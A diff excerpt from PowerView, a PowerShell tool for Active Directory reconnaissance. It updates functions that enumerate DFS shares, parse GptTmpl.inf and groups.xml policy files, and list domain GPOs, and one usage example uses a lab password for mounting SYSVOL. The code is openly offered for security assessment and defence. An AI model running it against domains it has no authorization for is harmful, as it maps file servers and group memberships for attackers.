($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + function Parse-Pkt { + [CmdletBinding()] + Param( + [Byte[]] + $Pkt + ) - [String] - $ADSpath, + $bin = $Pkt + $blob_version = [bitconverter]::ToUInt32($bin[0..3],0) + $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0) + $offset = 8 + #https://msdn.microsoft.com/en-us/library/cc227147.aspx + $object_list = @() + for($i=1; $i -le $blob_element_count; $i++){ + $blob_name_size_start = $offset + $blob_name_size_end = $offset + 1 + $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0) + + $blob_name_start = $blob_name_size_end + 1 + $blob_name_end = $blob_name_start + $blob_name_size - 1 + $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end]) + + $blob_data_size_start = $blob_name_end + 1 + $blob_data_size_end = $blob_data_size_start + 3 + $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0) + + $blob_data_start = $blob_data_size_end + 1 + $blob_data_end = $blob_data_start + $blob_data_size - 1 + $blob_data = $bin[$blob_data_start..$blob_data_end] + switch -wildcard ($blob_name) { + "\siteroot" { } + "\domainroot*" { + # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first... + # DFSRootOrLinkIDBlob + $root_or_link_guid_start = 0 + $root_or_link_guid_end = 15 + $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end] + $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str + $prefix_size_start = $root_or_link_guid_end + 1 + $prefix_size_end = $prefix_size_start + 1 + $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0) + $prefix_start = $prefix_size_end + 1 + $prefix_end = $prefix_start + $prefix_size - 1 + $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end]) + + $short_prefix_size_start = $prefix_end + 1 + $short_prefix_size_end = $short_prefix_size_start + 1 + $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0) + $short_prefix_start = $short_prefix_size_end + 1 + $short_prefix_end = $short_prefix_start + $short_prefix_size - 1 + $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end]) + + $type_start = $short_prefix_end + 1 + $type_end = $type_start + 3 + $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0) + + $state_start = $type_end + 1 + $state_end = $state_start + 3 + $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0) + + $comment_size_start = $state_end + 1 + $comment_size_end = $comment_size_start + 1 + $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0) + $comment_start = $comment_size_end + 1 + $comment_end = $comment_start + $comment_size - 1 + if ($comment_size -gt 0) { + $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end]) + } + $prefix_timestamp_start = $comment_end + 1 + $prefix_timestamp_end = $prefix_timestamp_start + 7 + # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME + $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime + $state_timestamp_start = $prefix_timestamp_end + 1 + $state_timestamp_end = $state_timestamp_start + 7 + $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end] + $comment_timestamp_start = $state_timestamp_end + 1 + $comment_timestamp_end = $comment_timestamp_start + 7 + $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end] + $version_start = $comment_timestamp_end + 1 + $version_end = $version_start + 3 + $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0) + + # Parse rest of DFSNamespaceRootOrLinkBlob here + $dfs_targetlist_blob_size_start = $version_end + 1 + $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3 + $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0) + + $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1 + $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1 + $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end] + $reserved_blob_size_start = $dfs_targetlist_blob_end + 1 + $reserved_blob_size_end = $reserved_blob_size_start + 3 + $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0) + + $reserved_blob_start = $reserved_blob_size_end + 1 + $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1 + $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end] + $referral_ttl_start = $reserved_blob_end + 1 + $referral_ttl_end = $referral_ttl_start + 3 + $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0) + + #Parse DFSTargetListBlob + $target_count_start = 0 + $target_count_end = $target_count_start + 3 + $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0) + $t_offset = $target_count_end + 1 + + for($j=1; $j -le $target_count; $j++){ + $target_entry_size_start = $t_offset + $target_entry_size_end = $target_entry_size_start + 3 + $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0) + $target_time_stamp_start = $target_entry_size_end + 1 + $target_time_stamp_end = $target_time_stamp_start + 7 + # FILETIME again or special if priority rank and priority class 0 + $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end] + $target_state_start = $target_time_stamp_end + 1 + $target_state_end = $target_state_start + 3 + $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0) + + $target_type_start = $target_state_end + 1 + $target_type_end = $target_type_start + 3 + $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0) + + $server_name_size_start = $target_type_end + 1 + $server_name_size_end = $server_name_size_start + 1 + $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0) + + $server_name_start = $server_name_size_end + 1 + $server_name_end = $server_name_start + $server_name_size - 1 + $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end]) + + $share_name_size_start = $server_name_end + 1 + $share_name_size_end = $share_name_size_start + 1 + $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0) + $share_name_start = $share_name_size_end + 1 + $share_name_end = $share_name_start + $share_name_size - 1 + $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end]) + + $target_list += "\\$server_name\$share_name" + $t_offset = $share_name_end + 1 + } + } + } + $offset = $blob_data_end + 1 + $dfs_pkt_properties = @{ + 'Name' = $blob_name + 'Prefix' = $prefix + 'TargetList' = $target_list + } + $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties + $prefix = $Null + $blob_name = $Null + $target_list = $Null + } - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, + $servers = @() + $object_list | ForEach-Object { + if ($_.TargetList) { + $_.TargetList | ForEach-Object { + $servers += $_.split('\')[2] + } + } + } - [Management.Automation.PSCredential] - $Credential - ) + $servers + } - $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + function Get-DomainDFSShareV1 { + [CmdletBinding()] + Param( + [String] + $Domain, - if($DFSsearcher) { - $DFSshares = @() - $DFSsearcher.filter = "(&(objectClass=fTDfs))" + [String] + $SearchBase, - try { - $Results = $DFSSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - $Properties = $_.Properties - $RemoteNames = $Properties.remoteservername - $Pkt = $Properties.pkt + [String] + $Server, - $DFSshares += $RemoteNames | ForEach-Object { - try { - if ( $_.Contains('\') ) { - New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split("\")[2]} + [String] + $SearchScope = 'Subtree', + + [Int] + $ResultPageSize = 200, + + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $DFSsearcher = Get-DomainSearcher @PSBoundParameters + + if ($DFSsearcher) { + $DFSshares = @() + $DFSsearcher.filter = '(&(objectClass=fTDfs))' + + try { + $Results = $DFSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Properties = $_.Properties + $RemoteNames = $Properties.remoteservername + $Pkt = $Properties.pkt + + $DFSshares += $RemoteNames | ForEach-Object { + try { + if ( $_.Contains('\') ) { + New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split('\')[2]} + } + } + catch { + Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error in parsing DFS share : $_" } } + } + if ($Results) { + try { $Results.dispose() } catch { - Write-Verbose "Error in parsing DFS share : $_" + Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error disposing of the Results object: $_" } } - } - $Results.dispose() - $DFSSearcher.dispose() - - if($pkt -and $pkt[0]) { - Parse-Pkt $pkt[0] | ForEach-Object { - # If a folder doesn't have a redirection it will - # have a target like - # \\null\TestNameSpace\folder\.DFSFolderLink so we - # do actually want to match on "null" rather than - # $null - if ($_ -ne "null") { - New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_} + $DFSSearcher.dispose() + + if ($pkt -and $pkt[0]) { + Parse-Pkt $pkt[0] | ForEach-Object { + # If a folder doesn't have a redirection it will have a target like + # \\null\TestNameSpace\folder\.DFSFolderLink so we do actually want to match + # on 'null' rather than $Null + if ($_ -ne 'null') { + New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_} + } } } } + catch { + Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV1 error : $_" + } + $DFSshares | Sort-Object -Unique -Property 'RemoteServerName' } - catch { - Write-Warning "Get-DFSshareV1 error : $_" - } - $DFSshares | Sort-Object -Property "RemoteServerName" } - } - function Get-DFSshareV2 { - [CmdletBinding()] - param( - [String] - $Domain, + function Get-DomainDFSShareV2 { + [CmdletBinding()] + Param( + [String] + $Domain, - [String] - $DomainController, + [String] + $SearchBase, - [String] - $ADSpath, + [String] + $Server, - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, + [String] + $SearchScope = 'Subtree', - [Management.Automation.PSCredential] - $Credential - ) + [Int] + $ResultPageSize = 200, - $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + [Int] + $ServerTimeLimit, - if($DFSsearcher) { - $DFSshares = @() - $DFSsearcher.filter = "(&(objectClass=msDFS-Linkv2))" - $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2')) + [Switch] + $Tombstone, - try { - $Results = $DFSSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - $Properties = $_.Properties - $target_list = $Properties.'msdfs-targetlistv2'[0] - $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)]) - $DFSshares += $xml.targets.ChildNodes | ForEach-Object { - try { - $Target = $_.InnerText - if ( $Target.Contains('\') ) { - $DFSroot = $Target.split("\")[3] - $ShareName = $Properties.'msdfs-linkpathv2'[0] - New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split("\")[2]} + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $DFSsearcher = Get-DomainSearcher @PSBoundParameters + + if ($DFSsearcher) { + $DFSshares = @() + $DFSsearcher.filter = '(&(objectClass=msDFS-Linkv2))' + $Null = $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2')) + + try { + $Results = $DFSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Properties = $_.Properties + $target_list = $Properties.'msdfs-targetlistv2'[0] + $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)]) + $DFSshares += $xml.targets.ChildNodes | ForEach-Object { + try { + $Target = $_.InnerText + if ( $Target.Contains('\') ) { + $DFSroot = $Target.split('\')[3] + $ShareName = $Properties.'msdfs-linkpathv2'[0] + New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split('\')[2]} + } + } + catch { + Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV2 error in parsing target : $_" } } + } + if ($Results) { + try { $Results.dispose() } catch { - Write-Verbose "Error in parsing target : $_" + Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_" } } + $DFSSearcher.dispose() } - $Results.dispose() - $DFSSearcher.dispose() - } - catch { - Write-Warning "Get-DFSshareV2 error : $_" + catch { + Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV2 error : $_" + } + $DFSshares | Sort-Object -Unique -Property 'RemoteServerName' } - $DFSshares | Sort-Object -Unique -Property "RemoteServerName" } } - $DFSshares = @() + PROCESS { + $DFSshares = @() - if ( ($Version -eq "all") -or ($Version.endsWith("1")) ) { - $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize - } - if ( ($Version -eq "all") -or ($Version.endsWith("2")) ) { - $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize - } + if ($PSBoundParameters['Domain']) { + ForEach ($TargetDomain in $Domain) { + $SearcherArguments['Domain'] = $TargetDomain + if ($Version -match 'all|1') { + $DFSshares += Get-DomainDFSShareV1 @SearcherArguments + } + if ($Version -match 'all|2') { + $DFSshares += Get-DomainDFSShareV2 @SearcherArguments + } + } + } + else { + if ($Version -match 'all|1') { + $DFSshares += Get-DomainDFSShareV1 @SearcherArguments + } + if ($Version -match 'all|2') { + $DFSshares += Get-DomainDFSShareV2 @SearcherArguments + } + } - $DFSshares | Sort-Object -Property ("RemoteServerName","Name") -Unique + $DFSshares | Sort-Object -Property ('RemoteServerName','Name') -Unique + } } @@ -6056,1690 +10362,2008 @@ function Get-DFSshare { # ######################################################## - -filter Get-GptTmpl { +function Get-GptTmpl { <# - .SYNOPSIS +.SYNOPSIS - Helper to parse a GptTmpl.inf policy file path into a custom object. +Helper to parse a GptTmpl.inf policy file path into a hashtable. - .PARAMETER GptTmplPath +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, Get-IniContent - The GptTmpl.inf file path name to parse. +.DESCRIPTION - .PARAMETER UsePSDrive +Parses a GptTmpl.inf into a custom hashtable using Get-IniContent. If a +GPO object is passed, GPOPATH\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf +is constructed and assumed to be the parse target. If -Credential is passed, +Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds, +the files are parsed, and the connection is destroyed later with Remove-RemoteConnection. - Switch. Mount the target GptTmpl folder path as a temporary PSDrive. +.PARAMETER GptTmplPath - .EXAMPLE +Specifies the GptTmpl.inf file path name to parse. - PS C:\> Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" +.PARAMETER Credential - Parse the default domain policy .inf for dev.testlab.local +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system. + +.EXAMPLE + +Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + +Parse the default domain policy .inf for dev.testlab.local + +.EXAMPLE + +Get-DomainGPO testing | Get-GptTmpl + +Parse the GptTmpl.inf policy for the GPO with display name of 'testing'. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-GptTmpl -Credential $Cred -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + +Parse the default domain policy .inf for dev.testlab.local using alternate credentials. + +.OUTPUTS + +Hashtable + +Ouputs a hashtable representing the parsed GptTmpl.inf file. #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([Hashtable])] [CmdletBinding()] Param ( - [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('gpcfilesyspath', 'Path')] [String] $GptTmplPath, - [Switch] - $UsePSDrive + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - if($UsePSDrive) { - # if we're PSDrives, create a temporary mount point - $Parts = $GptTmplPath.split('\') - $FolderPath = $Parts[0..($Parts.length-2)] -join '\' - $FilePath = $Parts[-1] - $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' - - Write-Verbose "Mounting path $GptTmplPath using a temp PSDrive at $RandDrive" + BEGIN { + $MappedPaths = @{} + } + PROCESS { try { - $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + if (($GptTmplPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { + $SysVolPath = "\\$((New-Object System.Uri($GptTmplPath)).Host)\SYSVOL" + if (-not $MappedPaths[$SysVolPath]) { + # map IPC$ to this computer if it's not already + Add-RemoteConnection -Path $SysVolPath -Credential $Credential + $MappedPaths[$SysVolPath] = $True + } + } + + $TargetGptTmplPath = $GptTmplPath + if (-not $TargetGptTmplPath.EndsWith('.inf')) { + $TargetGptTmplPath += '\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf' + } + + Write-Verbose "[Get-GptTmpl] Parsing GptTmplPath: $TargetGptTmplPath" + Get-IniContent -Path $TargetGptTmplPath -ErrorAction Stop } catch { - Write-Verbose "Error mounting path $GptTmplPath : $_" - return $Null + Write-Verbose "[Get-GptTmpl] Error parsing $TargetGptTmplPath : $_" } - - # so we can cd/dir the new drive - $TargetGptTmplPath = $RandDrive + ":\" + $FilePath - } - else { - $TargetGptTmplPath = $GptTmplPath } - Write-Verbose "GptTmplPath: $GptTmplPath" - - try { - Write-Verbose "Parsing $TargetGptTmplPath" - $TargetGptTmplPath | Get-IniContent -ErrorAction SilentlyContinue - } - catch { - Write-Verbose "Error parsing $TargetGptTmplPath : $_" - } - - if($UsePSDrive -and $RandDrive) { - Write-Verbose "Removing temp PSDrive $RandDrive" - Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force + END { + # remove the SYSVOL mappings + $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ } } } -filter Get-GroupsXML { +function Get-GroupsXML { <# - .SYNOPSIS +.SYNOPSIS + +Helper to parse a groups.xml file path into a custom object. - Helper to parse a groups.xml file path into a custom object. +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertTo-SID - .PARAMETER GroupsXMLpath +.DESCRIPTION - The groups.xml file path name to parse. +Parses a groups.xml into a custom object. If -Credential is passed, +Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds, +the files are parsed, and the connection is destroyed later with Remove-RemoteConnection. - .PARAMETER UsePSDrive +.PARAMETER GroupsXMLpath - Switch. Mount the target groups.xml folder path as a temporary PSDrive. +Specifies the groups.xml file path name to parse. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system. + +.OUTPUTS + +PowerView.GroupsXML #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.GroupsXML')] [CmdletBinding()] Param ( - [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Path')] [String] $GroupsXMLPath, - [Switch] - $UsePSDrive + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - if($UsePSDrive) { - # if we're PSDrives, create a temporary mount point - $Parts = $GroupsXMLPath.split('\') - $FolderPath = $Parts[0..($Parts.length-2)] -join '\' - $FilePath = $Parts[-1] - $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' - - Write-Verbose "Mounting path $GroupsXMLPath using a temp PSDrive at $RandDrive" - - try { - $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop - } - catch { - Write-Verbose "Error mounting path $GroupsXMLPath : $_" - return $Null - } - - # so we can cd/dir the new drive - $TargetGroupsXMLPath = $RandDrive + ":\" + $FilePath - } - else { - $TargetGroupsXMLPath = $GroupsXMLPath + BEGIN { + $MappedPaths = @{} } - try { - [XML]$GroupsXMLcontent = Get-Content $TargetGroupsXMLPath -ErrorAction Stop - - # process all group properties in the XML - $GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object { - - $Groupname = $_.Properties.groupName - - # extract the localgroup sid for memberof - $GroupSID = $_.Properties.groupSid - if(-not $GroupSID) { - if($Groupname -match 'Administrators') { - $GroupSID = 'S-1-5-32-544' - } - elseif($Groupname -match 'Remote Desktop') { - $GroupSID = 'S-1-5-32-555' - } - elseif($Groupname -match 'Guests') { - $GroupSID = 'S-1-5-32-546' - } - else { - $GroupSID = Convert-NameToSid -ObjectName $Groupname | Select-Object -ExpandProperty SID + PROCESS { + try { + if (($GroupsXMLPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { + $SysVolPath = "\\$((New-Object System.Uri($GroupsXMLPath)).Host)\SYSVOL" + if (-not $MappedPaths[$SysVolPath]) { + # map IPC$ to this computer if it's not already + Add-RemoteConnection -Path $SysVolPath -Credential $Credential + $MappedPaths[$SysVolPath] = $True } } - # extract out members added to this group - $Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { - if($_.sid) { $_.sid } - else { $_.name } - } + [XML]$GroupsXMLcontent = Get-Content -Path $GroupsXMLPath -ErrorAction Stop + + # process all group properties in the XML + $GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object { - if ($Members) { + $Groupname = $_.Properties.groupName - # extract out any/all filters...I hate you GPP - if($_.filters) { - $Filters = $_.filters.GetEnumerator() | ForEach-Object { - New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} + # extract the localgroup sid for memberof + $GroupSID = $_.Properties.groupSid + if (-not $GroupSID) { + if ($Groupname -match 'Administrators') { + $GroupSID = 'S-1-5-32-544' + } + elseif ($Groupname -match 'Remote Desktop') { + $GroupSID = 'S-1-5-32-555' + } + elseif ($Groupname -match 'Guests') { + $GroupSID = 'S-1-5-32-546' + } + else { + if ($PSBoundParameters['Credential']) { + $GroupSID = ConvertTo-SID -ObjectName $Groupname -Credential $Credential + } + else { + $GroupSID = ConvertTo-SID -ObjectName $Groupname + } } } - else { - $Filters = $Null + + # extract out members added to this group + $Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { + if ($_.sid) { $_.sid } + else { $_.name } } - if($Members -isnot [System.Array]) { $Members = @($Members) } + if ($Members) { + # extract out any/all filters...I hate you GPP + if ($_.filters) { + $Filters = $_.filters.GetEnumerator() | ForEach-Object { + New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} + } + } + else { + $Filters = $Null + } - $GPOGroup = New-Object PSObject - $GPOGroup | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath - $GPOGroup | Add-Member Noteproperty 'Filters' $Filters - $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName - $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID - $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Null - $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Members - $GPOGroup + if ($Members -isnot [System.Array]) { $Members = @($Members) } + + $GroupsXML = New-Object PSObject + $GroupsXML | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath + $GroupsXML | Add-Member Noteproperty 'Filters' $Filters + $GroupsXML | Add-Member Noteproperty 'GroupName' $GroupName + $GroupsXML | Add-Member Noteproperty 'GroupSID' $GroupSID + $GroupsXML | Add-Member Noteproperty 'GroupMemberOf' $Null + $GroupsXML | Add-Member Noteproperty 'GroupMembers' $Members + $GroupsXML.PSObject.TypeNames.Insert(0, 'PowerView.GroupsXML') + $GroupsXML + } } } - } - catch { - Write-Verbose "Error parsing $TargetGroupsXMLPath : $_" + catch { + Write-Verbose "[Get-GroupsXML] Error parsing $TargetGroupsXMLPath : $_" + } } - if($UsePSDrive -and $RandDrive) { - Write-Verbose "Removing temp PSDrive $RandDrive" - Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force + END { + # remove the SYSVOL mappings + $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ } } } -function Get-NetGPO { +function Get-DomainGPO { <# - .SYNOPSIS - - Gets a list of all current GPOs in a domain. - - .PARAMETER GPOname - - The GPO name to query for, wildcards accepted. - - .PARAMETER DisplayName - - The GPO display name to query for, wildcards accepted. - - .PARAMETER ComputerName - - Return all GPO objects applied to a given computer (FQDN). - - .PARAMETER Domain +.SYNOPSIS - The domain to query for GPOs, defaults to the current domain. +Return all GPOs or specific GPO objects in AD. - .PARAMETER DomainController +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainObject, Convert-LDAPProperty - Domain controller to reflect LDAP queries through. +.DESCRIPTION - .PARAMETER ADSpath +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties samaccountname,usnchanged,...". By default, all GPO objects for +the current domain are returned. To enumerate all GPOs that are applied to +a particular machine, use -ComputerName X. - The LDAP source to search through - e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" +.PARAMETER Identity - .PARAMETER PageSize +A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), +GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted. - The PageSize to set for the LDAP searcher object. +.PARAMETER ComputerIdentity - .PARAMETER Credential +Return all GPO objects applied to a given computer identity (name, dnsname, DistinguishedName, etc.). - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +.PARAMETER UserIdentity - .EXAMPLE +Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.). - PS C:\> Get-NetGPO -Domain testlab.local - - Returns the GPOs in the 'testlab.local' domain. -#> - [CmdletBinding()] - Param ( - [Parameter(ValueFromPipeline=$True)] - [String] - $GPOname = '*', +.PARAMETER Domain - [String] - $DisplayName, +Specifies the domain to use for the query, defaults to the current domain. - [String] - $ComputerName, - - [String] - $Domain, +.PARAMETER LDAPFilter - [String] - $DomainController, - - [String] - $ADSpath, - - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, - - [Management.Automation.PSCredential] - $Credential - ) - - begin { - $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize - } +Specifies an LDAP query string that is used to filter Active Directory objects. - process { - if ($GPOSearcher) { +.PARAMETER Properties - if($ComputerName) { - $GPONames = @() - $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize +Specifies the properties of the output object to retrieve from the server. - if(!$Computers) { - throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name" - } - - # get the given computer's OU - $ComputerOUs = @() - ForEach($Computer in $Computers) { - # extract all OUs a computer is a part of - $DN = $Computer.distinguishedname +.PARAMETER SearchBase - $ComputerOUs += $DN.split(",") | ForEach-Object { - if($_.startswith("OU=")) { - $DN.substring($DN.indexof($_)) - } - } - } - - Write-Verbose "ComputerOUs: $ComputerOUs" +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 